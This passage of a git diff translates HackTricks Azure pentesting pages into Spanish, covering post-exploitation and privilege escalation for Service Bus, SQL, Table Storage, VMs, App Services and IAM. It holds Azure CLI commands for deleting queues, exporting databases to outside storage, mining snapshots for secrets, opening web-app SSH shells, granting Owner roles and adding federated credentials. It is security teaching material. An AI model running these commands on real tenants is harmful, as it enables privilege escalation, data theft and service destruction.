`Microsoft.ServiceBus/namespaces/queues/Delete` -An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue. - +Un atacante con este permiso puede eliminar una cola de Azure Service Bus. Esta acción elimina la cola y todos los mensajes dentro de ella, lo que puede causar la pérdida de datos críticos y interrumpir sistemas y flujos de trabajo dependientes de la cola. ```bash az servicebus queue delete --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete` -An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription. - +Un atacante con este permiso puede eliminar una suscripción de Azure Service Bus. Esta acción elimina la suscripción y todos sus mensajes asociados, lo que puede interrumpir flujos de trabajo, procesamiento de datos y operaciones del sistema que dependen de la suscripción. ```bash az servicebus topic subscription delete --resource-group --namespace-name --topic-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` -An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk. - +Un atacante con permisos para crear o modificar espacios de nombres de Azure Service Bus puede explotar esto para interrumpir operaciones, implementar recursos no autorizados o exponer datos sensibles. Pueden alterar configuraciones críticas, como habilitar el acceso a la red pública, degradar la configuración de cifrado o cambiar SKUs para degradar el rendimiento o aumentar costos. Además, podrían deshabilitar la autenticación local, manipular ubicaciones de réplicas o ajustar versiones de TLS para debilitar los controles de seguridad, lo que convierte la mala configuración del espacio de nombres en un riesgo significativo de post-explotación. ```bash az servicebus namespace create --resource-group --name --location az servicebus namespace update --resource-group --name --tags ``` - ### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`) -An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk. - +Un atacante con permisos para crear o modificar colas de Azure Service Bus (para modificar la cola también necesitarás la Acción: `Microsoft.ServiceBus/namespaces/queues/read`) puede explotar esto para interceptar datos, interrumpir flujos de trabajo o habilitar acceso no autorizado. Pueden alterar configuraciones críticas como el reenvío de mensajes a puntos finales maliciosos, ajustar el TTL de los mensajes para retener o eliminar datos de manera inapropiada, o habilitar el dead-lettering para interferir con el manejo de errores. Además, podrían manipular los tamaños de las colas, las duraciones de bloqueo o los estados para interrumpir la funcionalidad del servicio o evadir la detección, lo que convierte esto en un riesgo significativo de post-explotación. ```bash az servicebus queue create --resource-group --namespace-name --name az servicebus queue update --resource-group --namespace-name --name ``` +### Acciones: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) -### Actions: `Microsoft.ServiceBus/namespaces/topics/write` (`Microsoft.ServiceBus/namespaces/topics/read`) - -An attacker with permissions to create or modify topics (to modiffy the topic you will also need the Action:`Microsoft.ServiceBus/namespaces/topics/read`) within an Azure Service Bus namespace can exploit this to disrupt message workflows, expose sensitive data, or enable unauthorized actions. Using commands like az servicebus topic update, they can manipulate configurations such as enabling partitioning for scalability misuse, altering TTL settings to retain or discard messages improperly, or disabling duplicate detection to bypass controls. Additionally, they could adjust topic size limits, change status to disrupt availability, or configure express topics to temporarily store intercepted messages, making topic management a critical focus for post-exploitation mitigation. - +Un atacante con permisos para crear o modificar temas (para modificar el tema también necesitarás la Acción: `Microsoft.ServiceBus/namespaces/topics/read`) dentro de un espacio de nombres de Azure Service Bus puede explotar esto para interrumpir flujos de mensajes, exponer datos sensibles o habilitar acciones no autorizadas. Usando comandos como az servicebus topic update, pueden manipular configuraciones como habilitar la partición para un uso indebido de escalabilidad, alterar configuraciones de TTL para retener o descartar mensajes de manera inapropiada, o deshabilitar la detección de duplicados para eludir controles. Además, podrían ajustar los límites de tamaño del tema, cambiar el estado para interrumpir la disponibilidad, o configurar temas expresos para almacenar temporalmente mensajes interceptados, haciendo que la gestión de temas sea un enfoque crítico para la mitigación post-explotación. ```bash az servicebus topic create --resource-group --namespace-name --name az servicebus topic update --resource-group --namespace-name --name ``` +### Acciones: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) -### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/write` (`Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) - -An attacker with permissions to create or modify subscriptions (to modiffy the subscription you will also need the Action: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) within an Azure Service Bus topic can exploit this to intercept, reroute, or disrupt message workflows. Using commands like az servicebus topic subscription update, they can manipulate configurations such as enabling dead lettering to divert messages, forwarding messages to unauthorized endpoints, or modifying TTL and lock duration to retain or interfere with message delivery. Additionally, they can alter status or max delivery count settings to disrupt operations or evade detection, making subscription control a critical aspect of post-exploitation scenarios. - +Un atacante con permisos para crear o modificar suscripciones (para modificar la suscripción también necesitarás la Acción: `Microsoft.ServiceBus/namespaces/topics/subscriptions/read`) dentro de un tema de Azure Service Bus puede explotar esto para interceptar, redirigir o interrumpir flujos de mensajes. Usando comandos como az servicebus topic subscription update, pueden manipular configuraciones como habilitar el dead lettering para desviar mensajes, reenviar mensajes a puntos finales no autorizados, o modificar la duración de TTL y bloqueo para retener o interferir con la entrega de mensajes. Además, pueden alterar el estado o la configuración del conteo máximo de entregas para interrumpir operaciones o evadir la detección, haciendo que el control de suscripciones sea un aspecto crítico de los escenarios de post-explotación. ```bash az servicebus topic subscription create --resource-group --namespace-name --topic-name --name az servicebus topic subscription update --resource-group --namespace-name --topic-name --name ``` +### Acciones: `AuthorizationRules` Enviar y Recibir Mensajes -### Actions: `AuthorizationRules` Send & Recive Messages - -Take a look here: +Mira aquí: {{#ref}} ../az-privilege-escalation/az-queue-privesc.md {{#endref}} -## References +## Referencias - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api @@ -97,7 +81,3 @@ Take a look here: - https://learn.microsoft.com/en-us/cli/azure/servicebus/queue?view=azure-cli-latest {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index 7a8b1c1d5..52ad0c911 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -4,7 +4,7 @@ ## SQL Database Post Exploitation -For more information about SQL Database check: +Para más información sobre SQL Database, consulta: {{#ref}} ../az-services/az-sql.md @@ -12,8 +12,7 @@ For more information about SQL Database check: ### "Microsoft.Sql/servers/databases/read", "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/databases/write" -With these permissions, an attacker can create and update databases within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions. - +Con estos permisos, un atacante puede crear y actualizar bases de datos dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de la base de datos o insertar puertas traseras para una mayor persistencia, lo que podría interrumpir las operaciones o habilitar acciones maliciosas adicionales. ```bash # Create Database az sql db create --resource-group --server --name @@ -21,73 +20,63 @@ az sql db create --resource-group --server --name # Update Database az sql db update --resource-group --server --name --max-size ``` - ### "Microsoft.Sql/servers/elasticPools/write" && "Microsoft.Sql/servers/elasticPools/read" -With these permissions, an attacker can create and update elasticPools within the compromised environment. This post-exploitation activity could allow an attacker to add malicious data, modify database configurations, or insert backdoors for further persistence, potentially disrupting operations or enabling additional malicious actions. - +Con estos permisos, un atacante puede crear y actualizar elasticPools dentro del entorno comprometido. Esta actividad de post-explotación podría permitir a un atacante agregar datos maliciosos, modificar configuraciones de bases de datos o insertar puertas traseras para una mayor persistencia, potencialmente interrumpiendo operaciones o habilitando acciones maliciosas adicionales. ```bash # Create Elastic Pool az sql elastic-pool create \ - --name \ - --server \ - --resource-group \ - --edition \ - --dtu +--name \ +--server \ +--resource-group \ +--edition \ +--dtu # Update Elastic Pool az sql elastic-pool update \ - --name \ - --server \ - --resource-group \ - --dtu \ - --tags +--name \ +--server \ +--resource-group \ +--dtu \ +--tags ``` - ### "Microsoft.Sql/servers/auditingSettings/read" && "Microsoft.Sql/servers/auditingSettings/write" -With this permission, you can modify or enable auditing settings on an Azure SQL Server. This could allow an attacker or authorized user to manipulate audit configurations, potentially covering tracks or redirecting audit logs to a location under their control. This can hinder security monitoring or enable it to keep track of the actions. NOTE: To enable auditing for an Azure SQL Server using Blob Storage, you must attach a storage account where the audit logs can be saved. - +Con este permiso, puedes modificar o habilitar la configuración de auditoría en un Azure SQL Server. Esto podría permitir a un atacante o usuario autorizado manipular las configuraciones de auditoría, potencialmente cubriendo sus huellas o redirigiendo los registros de auditoría a una ubicación bajo su control. Esto puede obstaculizar la monitorización de seguridad o permitir que se mantenga un seguimiento de las acciones. NOTA: Para habilitar la auditoría para un Azure SQL Server utilizando Blob Storage, debes adjuntar una cuenta de almacenamiento donde se puedan guardar los registros de auditoría. ```bash az sql server audit-policy update \ - --server \ - --resource-group \ - --state Enabled \ - --storage-account \ - --retention-days 7 +--server \ +--resource-group \ +--state Enabled \ +--storage-account \ +--retention-days 7 ``` - ### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write" -With this permission, you can modify the connection policies of an Azure SQL Server. This capability can be exploited to enable or change server-level connection settings - +Con este permiso, puedes modificar las políticas de conexión de un servidor SQL de Azure. Esta capacidad puede ser explotada para habilitar o cambiar la configuración de conexión a nivel de servidor. ```bash az sql server connection-policy update \ - --server \ - --resource-group \ - --connection-type +--server \ +--resource-group \ +--connection-type ``` - ### "Microsoft.Sql/servers/databases/export/action" -With this permission, you can export a database from an Azure SQL Server to a storage account. An attacker or authorized user with this permission can exfiltrate sensitive data from the database by exporting it to a location they control, posing a significant data breach risk. It is important to know the storage key to be able to perform this. - +Con este permiso, puedes exportar una base de datos de un Azure SQL Server a una cuenta de almacenamiento. Un atacante o usuario autorizado con este permiso puede exfiltrar datos sensibles de la base de datos exportándola a una ubicación que controlan, lo que representa un riesgo significativo de filtración de datos. Es importante conocer la clave de almacenamiento para poder realizar esto. ```bash az sql db export \ - --server \ - --resource-group \ - --name \ - --storage-uri \ - --storage-key-type SharedAccessKey \ - --admin-user \ - --admin-password +--server \ +--resource-group \ +--name \ +--storage-uri \ +--storage-key-type SharedAccessKey \ +--admin-user \ +--admin-password ``` - ### "Microsoft.Sql/servers/databases/import/action" -With this permission, you can import a database into an Azure SQL Server. An attacker or authorized user with this permission can potentially upload malicious or manipulated databases. This can lead to gaining control over sensitive data or by embedding harmful scripts or triggers within the imported database. Additionaly you can import it to your own server in azure. Note: The server must allow Azure services and resources to access the server. - +Con este permiso, puedes importar una base de datos en un Azure SQL Server. Un atacante o usuario autorizado con este permiso puede potencialmente subir bases de datos maliciosas o manipuladas. Esto puede llevar a obtener control sobre datos sensibles o a incrustar scripts o triggers dañinos dentro de la base de datos importada. Adicionalmente, puedes importarlo a tu propio servidor en Azure. Nota: El servidor debe permitir que los servicios y recursos de Azure accedan al servidor. ```bash az sql db import --admin-user \ --admin-password \ @@ -98,9 +87,4 @@ az sql db import --admin-user \ --storage-key \ --storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac" ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md index 06e5df01e..65b8884aa 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Table Storage Post Exploitation -For more information about table storage check: +Para más información sobre el almacenamiento de tablas, consulta: {{#ref}} ../az-services/az-table-storage.md @@ -12,57 +12,49 @@ For more information about table storage check: ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/read -A principal with this permission will be able to **list** the tables inside a table storage and **read the info** which might contain **sensitive information**. - +Un principal con este permiso podrá **listar** las tablas dentro de un almacenamiento de tablas y **leer la información** que podría contener **información sensible**. ```bash # List tables az storage table list --auth-mode login --account-name # Read table (top 10) az storage entity query \ - --account-name \ - --table-name \ - --auth-mode login \ - --top 10 +--account-name \ +--table-name \ +--auth-mode login \ +--top 10 ``` - ### Microsoft.Storage/storageAccounts/tableServices/tables/entities/write | Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action | Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action -A principal with this permission will be able to **write and overwrite entries in tables** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some trusted data that could abuse some injection vulnerability in the app using it). - -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` allows all the actions. -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` allows to **add** entries -- The permission `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` allows to **update** existing entries +Un principal con este permiso podrá **escribir y sobrescribir entradas en tablas**, lo que podría permitirle causar algún daño o incluso escalar privilegios (por ejemplo, sobrescribir algunos datos de confianza que podrían abusar de alguna vulnerabilidad de inyección en la aplicación que los utiliza). +- El permiso `Microsoft.Storage/storageAccounts/tableServices/tables/entities/write` permite todas las acciones. +- El permiso `Microsoft.Storage/storageAccounts/tableServices/tables/entities/add/action` permite **agregar** entradas. +- El permiso `Microsoft.Storage/storageAccounts/tableServices/tables/entities/update/action` permite **actualizar** entradas existentes. ```bash # Add az storage entity insert \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" # Replace az storage entity replace \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" # Update az storage entity merge \ - --account-name \ - --table-name \ - --auth-mode login \ - --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" +--account-name \ +--table-name \ +--auth-mode login \ +--entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager" ``` - ### \*/delete -This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**. +Esto permitiría eliminar archivos dentro del sistema de archivos compartido, lo que podría **interrumpir algunos servicios** o hacer que el cliente **pierda información valiosa**. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md index 900a5d9ce..eda82badb 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md @@ -4,7 +4,7 @@ ## VMs & Network -For more info about Azure VMs and networking check the following page: +Para más información sobre Azure VMs y redes, consulta la siguiente página: {{#ref}} ../az-services/vms/ @@ -12,86 +12,73 @@ For more info about Azure VMs and networking check the following page: ### VM Application Pivoting -VM applications can be shared with other subscriptions and tenants. If an application is being shared it's probably because it's being used. So if the attacker manages to **compromise the application and uploads a backdoored** version it might be possible that it will be **executed in another tenant or subscription**. +Las aplicaciones de VM pueden ser compartidas con otras suscripciones y inquilinos. Si una aplicación está siendo compartida, probablemente sea porque está siendo utilizada. Así que, si el atacante logra **comprometer la aplicación y sube una versión con puerta trasera**, podría ser posible que sea **ejecutada en otro inquilino o suscripción**. -### Sensitive information in images +### Información sensible en imágenes -It might be possible to find **sensitive information inside images** taken from VMs in the past. - -1. **List images** from galleries +Podría ser posible encontrar **información sensible dentro de imágenes** tomadas de VMs en el pasado. +1. **Listar imágenes** de galerías ```bash # Get galleries az sig list -o table # List images inside gallery az sig image-definition list \ - --resource-group \ - --gallery-name \ - -o table +--resource-group \ +--gallery-name \ +-o table # Get images versions az sig image-version list \ - --resource-group \ - --gallery-name \ - --gallery-image-definition \ - -o table +--resource-group \ +--gallery-name \ +--gallery-image-definition \ +-o table ``` - -2. **List custom images** - +2. **Listar imágenes personalizadas** ```bash az image list -o table ``` - -3. **Create VM from image ID** and search for sensitive info inside of it - +3. **Crear VM a partir de ID de imagen** y buscar información sensible dentro de ella ```bash # Create VM from image az vm create \ - --resource-group \ - --name \ - --image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ - --admin-username \ - --generate-ssh-keys +--resource-group \ +--name \ +--image /subscriptions//resourceGroups//providers/Microsoft.Compute/galleries//images//versions/ \ +--admin-username \ +--generate-ssh-keys ``` +### Información sensible en puntos de restauración -### Sensitive information in restore points - -It might be possible to find **sensitive information inside restore points**. - -1. **List restore points** +Puede ser posible encontrar **información sensible dentro de puntos de restauración**. +1. **Listar puntos de restauración** ```bash az restore-point list \ - --resource-group \ - --restore-point-collection-name \ - -o table +--resource-group \ +--restore-point-collection-name \ +-o table ``` - -2. **Create a disk** from a restore point - +2. **Crear un disco** a partir de un punto de restauración ```bash az disk create \ - --resource-group \ - --name \ - --source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ +--resource-group \ +--name \ +--source /subscriptions//resourceGroups//providers/Microsoft.Compute/restorePointCollections//restorePoints/ ``` - -3. **Attach the disk to a VM** (the attacker needs to have compromised a VM inside the account already) - +3. **Adjuntar el disco a una VM** (el atacante necesita haber comprometido una VM dentro de la cuenta ya) ```bash az vm disk attach \ - --resource-group \ - --vm-name \ - --name +--resource-group \ +--vm-name \ +--name ``` - -4. **Mount** the disk and **search for sensitive info** +4. **Montar** el disco y **buscar información sensible** {{#tabs }} {{#tab name="Linux" }} - ```bash # List all available disks sudo fdisk -l @@ -103,83 +90,70 @@ sudo file -s /dev/sdX sudo mkdir /mnt/mydisk sudo mount /dev/sdX1 /mnt/mydisk ``` - {{#endtab }} {{#tab name="Windows" }} -#### **1. Open Disk Management** +#### **1. Abrir la Administración de Discos** -1. Right-click **Start** and select **Disk Management**. -2. The attached disk should appear as **Offline** or **Unallocated**. +1. Haz clic derecho en **Inicio** y selecciona **Administración de Discos**. +2. El disco adjunto debería aparecer como **Desconectado** o **No asignado**. -#### **2. Bring the Disk Online** +#### **2. Conectar el Disco** -1. Locate the disk in the bottom pane. -2. Right-click the disk (e.g., **Disk 1**) and select **Online**. +1. Localiza el disco en el panel inferior. +2. Haz clic derecho en el disco (por ejemplo, **Disco 1**) y selecciona **Conectar**. -#### **3. Initialize the Disk** +#### **3. Inicializar el Disco** -1. If the disk is not initialized, right-click and select **Initialize Disk**. -2. Choose the partition style: - - **MBR** (Master Boot Record) or **GPT** (GUID Partition Table). GPT is recommended for modern systems. +1. Si el disco no está inicializado, haz clic derecho y selecciona **Inicializar Disco**. +2. Elige el estilo de partición: +- **MBR** (Registro de Arranque Maestro) o **GPT** (Tabla de Partición GUID). Se recomienda GPT para sistemas modernos. -#### **4. Create a New Volume** +#### **4. Crear un Nuevo Volumen** -1. Right-click the unallocated space on the disk and select **New Simple Volume**. -2. Follow the wizard to: - - Assign a drive letter (e.g., `D:`). - - Format the disk (choose NTFS for most cases). - {{#endtab }} - {{#endtabs }} +1. Haz clic derecho en el espacio no asignado en el disco y selecciona **Nuevo Volumen Simple**. +2. Sigue el asistente para: +- Asignar una letra de unidad (por ejemplo, `D:`). +- Formatear el disco (elige NTFS en la mayoría de los casos). +{{#endtab }} +{{#endtabs }} -### Sensitive information in disks & snapshots +### Información sensible en discos y instantáneas -It might be possible to find **sensitive information inside disks or even old disk's snapshots**. - -1. **List snapshots** +Puede ser posible encontrar **información sensible dentro de discos o incluso instantáneas de discos antiguos**. +1. **Listar instantáneas** ```bash az snapshot list \ - --resource-group \ - -o table +--resource-group \ +-o table ``` - -2. **Create disk from snapshot** (if needed) - +2. **Crear disco a partir de una instantánea** (si es necesario) ```bash az disk create \ - --resource-group \ - --name \ - --source \ - --size-gb +--resource-group \ +--name \ +--source \ +--size-gb ``` +3. **Adjuntar y montar el disco** a una VM y buscar información sensible (consulta la sección anterior para ver cómo hacerlo) -3. **Attach and mount the disk** to a VM and search for sensitive information (check the previous section to see how to do this) +### Información sensible en extensiones de VM y aplicaciones de VM -### Sensitive information in VM Extensions & VM Applications - -It might be possible to find **sensitive information inside VM extensions and VM applications**. - -1. **List all VM apps** +Puede ser posible encontrar **información sensible dentro de extensiones de VM y aplicaciones de VM**. +1. **Listar todas las aplicaciones de VM** ```bash ## List all VM applications inside a gallery az sig gallery-application list --gallery-name --resource-group --output table ``` - -2. Install the extension in a VM and **search for sensitive info** - +2. Instalar la extensión en una VM y **buscar información sensible** ```bash az vm application set \ - --resource-group \ - --name \ - --app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ - --treat-deployment-as-failure true +--resource-group \ +--name \ +--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \ +--treat-deployment-as-failure true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md index 662469fc5..e109a67ea 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/README.md @@ -1,6 +1 @@ -# Az - Privilege Escalation - - - - - +# Az - Escalación de Privilegios diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 6a805ae88..3a60ca6d6 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -4,7 +4,7 @@ ## App Services -For more information about Azure App services check: +Para más información sobre los servicios de Azure App, consulta: {{#ref}} ../az-services/az-app-service.md @@ -12,17 +12,14 @@ For more information about Azure App services check: ### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, -These permissions allows to call the following commands to get a **SSH shell** inside a web app - -- Direct option: +Estos permisos permiten llamar a los siguientes comandos para obtener un **SSH shell** dentro de una aplicación web +- Opción directa: ```bash # Direct option az webapp ssh --name --resource-group ``` - -- Create tunnel and then connect to SSH: - +- Crear túnel y luego conectarse a SSH: ```bash az webapp create-remote-connection --name --resource-group @@ -35,9 +32,4 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md index f8c4359f3..53d77baef 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md @@ -4,7 +4,7 @@ ## Azure IAM -Fore more information check: +Para más información, consulta: {{#ref}} ../az-services/az-azuread.md @@ -12,45 +12,38 @@ Fore more information check: ### Microsoft.Authorization/roleAssignments/write -This permission allows to assign roles to principals over a specific scope, allowing an attacker to escalate privileges by assigning himself a more privileged role: - +Este permiso permite asignar roles a principales sobre un alcance específico, lo que permite a un atacante escalar privilegios al asignarse un rol más privilegiado: ```bash # Example az role assignment create --role Owner --assignee "24efe8cf-c59e-45c2-a5c7-c7e552a07170" --scope "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.KeyVault/vaults/testing-1231234" ``` - ### Microsoft.Authorization/roleDefinitions/Write -This permission allows to modify the permissions granted by a role, allowing an attacker to escalate privileges by granting more permissions to a role he has assigned. - -Create the file `role.json` with the following **content**: +Este permiso permite modificar los permisos otorgados por un rol, lo que permite a un atacante escalar privilegios al otorgar más permisos a un rol que ha asignado. +Crea el archivo `role.json` con el siguiente **contenido**: ```json { - "Name": "", - "IsCustom": true, - "Description": "Custom role with elevated privileges", - "Actions": ["*"], - "NotActions": [], - "DataActions": ["*"], - "NotDataActions": [], - "AssignableScopes": ["/subscriptions/"] +"Name": "", +"IsCustom": true, +"Description": "Custom role with elevated privileges", +"Actions": ["*"], +"NotActions": [], +"DataActions": ["*"], +"NotDataActions": [], +"AssignableScopes": ["/subscriptions/"] } ``` - -Then update the role permissions with the previous definition calling: - +Luego actualiza los permisos del rol con la definición anterior llamando: ```bash az role definition update --role-definition role.json ``` - ### Microsoft.Authorization/elevateAccess/action -This permissions allows to elevate privileges and be able to assign permissions to any principal to Azure resources. It's meant to be given to Entra ID Global Administrators so they can also manage permissions over Azure resources. +Este permiso permite elevar privilegios y poder asignar permisos a cualquier principal sobre los recursos de Azure. Está destinado a ser otorgado a los Administradores Globales de Entra ID para que también puedan gestionar permisos sobre los recursos de Azure. > [!TIP] -> I think the user need to be Global Administrator in Entrad ID for the elevate call to work. - +> Creo que el usuario necesita ser Administrador Global en Entra ID para que la llamada de elevación funcione. ```bash # Call elevate az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" @@ -58,29 +51,22 @@ az rest --method POST --uri "https://management.azure.com/providers/Microsoft.Au # Grant a user the Owner role az role assignment create --assignee "" --role "Owner" --scope "/" ``` - ### Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write -This permission allows to add Federated credentials to managed identities. E.g. give access to Github Actions in a repo to a managed identity. Then, it allows to **access any user defined managed identity**. - -Example command to give access to a repo in Github to the a managed identity: +Este permiso permite agregar credenciales federadas a identidades administradas. Por ejemplo, dar acceso a Github Actions en un repositorio a una identidad administrada. Luego, permite **acceder a cualquier identidad administrada definida por el usuario**. +Ejemplo de comando para dar acceso a un repositorio en Github a una identidad administrada: ```bash # Generic example: az rest --method PUT \ - --uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ - --headers "Content-Type=application/json" \ - --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' +--uri "https://management.azure.com//subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities//federatedIdentityCredentials/?api-version=2023-01-31" \ +--headers "Content-Type=application/json" \ +--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:/:ref:refs/heads/","audiences":["api://AzureADTokenExchange"]}}' # Example with specific data: az rest --method PUT \ - --uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ - --headers "Content-Type=application/json" \ - --body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' +--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \ +--headers "Content-Type=application/json" \ +--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}' ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 940e80bce..24c768666 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -3,80 +3,71 @@ {{#include ../../../../banners/hacktricks-training.md}} > [!NOTE] -> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.** +> Tenga en cuenta que **no todos los permisos granulares** de los roles integrados en Entra ID **son elegibles para ser utilizados en roles personalizados.** ## Roles ### Role: 